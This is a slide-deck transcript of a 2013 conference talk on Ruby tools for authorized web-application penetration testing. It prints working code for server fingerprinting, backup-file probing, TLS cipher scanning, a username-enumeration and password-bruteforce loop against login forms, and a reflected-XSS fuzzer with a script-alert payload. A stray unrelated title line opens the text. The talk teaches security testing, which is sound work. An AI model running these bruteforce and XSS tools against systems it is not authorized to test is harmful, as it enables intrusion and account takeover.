Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
festival ICT 2013: Solid as diamond: use ruby in an web application penetration test
1. Solid as Diamond
Using Ruby in a web application penetration test
Wednesday, September 18, 13
2. self.inspect
• I do stuff: husband, proud father
&& martial artist
• I break other people code for living
(only when authorized)
• I blog at: http://armoredcode.com
• I’m on github too: https://
github.com/thesp0nge
• I love twitter: @thesp0nge,
@armoredcode
2
Wednesday, September 18, 13
3. talk.inspect
• Owasp Top 10 2013
• Ruby code to...
• Leverage a web application attack surface
• Bruteforce authentication mechanism
• Look for Cross site scripting
3
Wednesday, September 18, 13
5. Change your mindset. You’re an attacker now!
5
Your web application is a blackbox
You’ve got only a URL as a starting point
(optional) You may have a valid user, instead you have to register a
user to the application
Good luck!
Wednesday, September 18, 13
6. It all starts with...
6
... someone wants to publish a new web
application on the Internet or on an Internal
network, she gives me the url saying:
“test it for security issues, please”...
Wednesday, September 18, 13
10. Leverage your attack surface
10
Spot attack entrypoints:
(robots.txt and url
discovery with bruteforce)
Fingerprint your target
Check transport layer
security
Check for the service door
(backup files)
Wednesday, September 18, 13
11. Fingerprint your target
11
• Meta generator tag
• Server HTTP response field
• X-Powered-by HTTP response field
• Popular pages with extension (login.do,
index.jsp, main.asp, login.php, phpinfo.php...)
• The HTTP response field order (soon it will be
implemented in the gengiscan gem)
Wednesday, September 18, 13
12. Fingerprint your target
12
def detect(url)
uri = URI(url)
begin
res = Net::HTTP.get_response(uri)
{:status=>:OK, :code=>res.code, :server=>res['Server'],
:powered=>res['X-Powered-By'], :generator=>get_generator_signature(res)}
rescue
{:status=>:KO, :code=>nil, :server=>nil, :powered=>nil, :generator=>nil}
end
end
def get_generator_signature(res)
generator = ""
doc=Nokogiri::HTML(res.body)
doc.xpath("//meta[@name='generator']/@content").each do |value|
generator = value.value
end
generator
end
$ gem install gengiscan
$ gengiscan http://localhost:4567
{:status=>:OK, :code=>"404", :server=>"WEBrick/1.3.1 (Ruby/
1.9.3/2012-04-20)", :powered=>nil, :generator=>""}
Wednesday, September 18, 13
14. Spot attack entrypoints
14
# TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001)
def self.robots(site)
site = 'http://'+site unless site.start_with? 'http://' or site.start_with? 'https://'
allow_list = []
disallow_list = []
begin
res=Net::HTTP.get_response(URI(site+'/robots.txt'))
return {:status=>:KO, :allow_list=>[],
:disallow_list=>[],
:error=>"robots.txt response code was #{res.code}"} if (res.code != "200")
res.body.split("n").each do |line|
disallow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('disallow'))
allow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('allow'))
end
rescue Exception => e
return {:status=>:KO, :allow_list=>[], :disallow_list=>[], :error=>e.message}
end
{:status=>:OK, :allow_list=>allow_list, :disallow_list=>disallow_list, :error=>""}
end
$ gem install codesake_links
$ links -r http://localhost:4567
Wednesday, September 18, 13
15. Spot attack entrypoints
15
• Use a dictionary to discover URLs with
bruteforce
• Very intrusive attack... you’ll be busted, be
aware
$ gem install codesake_links
$ links -b test_case_dir_wordlist.txt http://localhost:4567
Wednesday, September 18, 13
16. Check transport layer security
16
$ gem install ciphersurfer
$ ciphersurfer www.gmail.com
Evaluating secure communication with www.gmail.com:443
Overall evaluation : B (76.5)
Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55)
Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80)
Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90)
Evaluate an SSL connection for:
• protocols the server supports
• cipher length
• certificate key length
Wednesday, September 18, 13
17. Check transport layer security
17
def go
context=OpenSSL::SSL::SSLContext.new(@proto)
cipher_set = context.ciphers
cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits|
request = Net::HTTP.new(@host, @port)
request.use_ssl = true
request.verify_mode = OpenSSL::SSL::VERIFY_NONE
request.ciphers= cipher_name
begin
response = request.get("/")
@ok_bits << bits
@ok_ciphers << cipher_name
rescue OpenSSL::SSL::SSLError => e
# Quietly discard SSLErrors, really I don't care if the cipher has
# not been accepted
rescue
# Quietly discard all other errors... you must perform all error
# chekcs in the calling program
end
end
end
protocol_version.each do |version|
s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version})
s.go
if (s.ok_ciphers.size != 0)
supported_protocols << version
cipher_bits = cipher_bits | s.ok_bits
ciphers = ciphers | s.ok_ciphers
end
end
Wednesday, September 18, 13
18. Check for the service door
18
require 'anemone'
require 'httpclient'
h=HTTPClient.new()
Anemone.crawl(ARGV[0]) do |anemone|
anemone.on_every_page do |page|
response = h.get(page.url)
puts "Original: #{page.url}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat(".bak"))
puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat(".old"))
puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat("~"))
puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}"
end
end
Wednesday, September 18, 13
23. How do I break this?
23
1. Use an existing user to check the HTML
<p>
Wrong password for admin user
</p>
2. Place a canary string to anonymize the
output
<p>
Wrong password for canary_username
user
</p>
3. Submit the post and check if the response is the
one expected with the canary substituted
<p>
Wrong password for tom user
</p>
Wednesday, September 18, 13
24. How do I break this?
24
def post(url, username, password)
agent = Mechanize.new
agent.user_agent_alias = 'Mac Safari'
agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
username_set = false
password_set = false
page = agent.get(url)
page.forms.each do |form|
form.fields.each do |field|
if field.name.downcase == 'username' or field.name.downcase== 'login'
username_set = true
field.value = username
end
if field.name.downcase == 'password' or field.name.downcase== 'pass' or
field.name.downcase== 'pwd'
password_set = true
field.value = password
end
end
return agent.submit(form) if username_set and password_set
end
return nil
end
Wednesday, September 18, 13
25. How do I break this?
25
log("existing user #{username} used as canary")
wrong_pwd = post(url, username, "caosintheground").body.gsub(username, 'canary_username')
wrong_creds = post(url, "caostherapy", "caosintheground").body.gsub("caostherapy",
"canary_username")
if ! line.start_with?("#")
sleep(@sleep_time)
log("awake... probing with: #{line}")
r= post(url, line, ".4nt4n1")
found << line if r.body == wrong_pwd.gsub("canary_username", line)
end
Wednesday, September 18, 13
27. Look for Cross Site Scripting
(reflected)
27
Wednesday, September 18, 13
28. Look for Cross Site Scripting
28
Wednesday, September 18, 13
29. Look for Cross Site Scripting
29
Wednesday, September 18, 13
30. Look for Cross Site Scripting
30
• In GETs
• Submit the attack payload as parameter in the query string
• Parse HTML and check if payload is in the script nodes
• In POSTs
• Get the page
• Find the form(s)
• Fill the form input values with attack payload
• Submit the form
• Parse HTML and check if payload is in the script nodes
Wednesday, September 18, 13
31. Look for Cross Site Scripting
31
attack_url = Cross::Url.new(url)
Cross::Attack::XSS.each do |pattern|
attack_url.params.each do |par|
page = @agent.get(attack_url.fuzz(par[:name],pattern))
@agent.log.debug(page.body) if debug?
scripts = page.search("//script")
scripts.each do |sc|
found = true if sc.children.text.include?("alert('cross canary')")
@agent.log.debug(sc.children.text) if @options[:debug]
end
attack_url.reset
end
end
Exploiting GETs...
$ gem install cross
$ cross -u http://localhost:4567/hello?name=paolo
Wednesday, September 18, 13
32. Look for Cross Site Scripting
32
begin
page = @agent.get(url)
rescue Mechanize::UnauthorizedError
puts 'Authentication failed. Giving up.'
return false
rescue Mechanize::ResponseCodeError
puts 'Server gave back 404. Giving up.'
return false
end
puts "#{page.forms.size} form(s) found" if debug?
page.forms.each do |f|
f.fields.each do |ff|
ff.value = "<script>alert('cross canary');</script>"
end
pp = @agent.submit(f)
puts "#{pp.body}" if debug?
scripts = pp.search("//script")
scripts.each do |sc|
found = true if sc.children.text == "alert('cross canary');"
end
end
Exploiting POSTs...
$ gem install cross
$ cross http://localhost:4567/login
Wednesday, September 18, 13
34. What we learnt
34
• Don’t trust your users
• “Security through obscurity” is EVIL
• Testing for security issues is a mandatory
step before deploy
• HTTPS won’t safe from XSS or SQL Injections
Wednesday, September 18, 13
35. Some links before we leave
35
http://armoredcode.com/blog/categories/pentest-with-ruby/
https://github.com/codesake
http://ronin-ruby.github.com/
https://github.com/rapid7/metasploit-framework
http://www.owasp.org
http://brakemanscanner.org/
Not mine, here because they’re
cool
http://www.youtube.com/user/armoredcodedotcom
Wednesday, September 18, 13